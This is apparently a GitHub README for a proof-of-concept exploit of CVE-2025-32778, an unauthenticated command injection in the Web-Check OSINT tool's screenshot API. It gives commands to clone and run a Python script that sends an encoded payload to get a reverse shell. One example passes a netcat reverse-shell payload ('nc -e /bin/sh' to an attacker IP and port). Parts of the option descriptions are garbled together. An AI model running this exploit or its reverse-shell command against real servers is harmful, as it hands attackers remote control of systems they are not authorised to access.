
PoC exploit for CVE-2025-32778: command injection in Web-Check OSINT tool
CVE-2025-32778 is a critical command injection vulnerability in Web-Check OSINT tool by Lissy93.
It allows unauthenticated attackers to execute arbitrary system commands via the url parameter in the screenshot API.
This Python script automates exploitation and can generate reverse shells or accept custom shell payloads.
url command injection in Web-Check.--lhost and --lport.--shell.--shell with --lhost/--lport.pip install requests
git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778
python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444
python3 cve-2025-32778.py -u http://target.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"
python3 cve-2025-32778.py -h
Normalize the target URL to scheme://host[:port].
Prepare the payload:
--lhost and --lport.--shell.Encode the shell payload for safe URL injection.
Send an HTTP GET request to /api/screenshot/ with the payload.
Wait for the reverse shell connection.
00xCanelo
GitHub Profile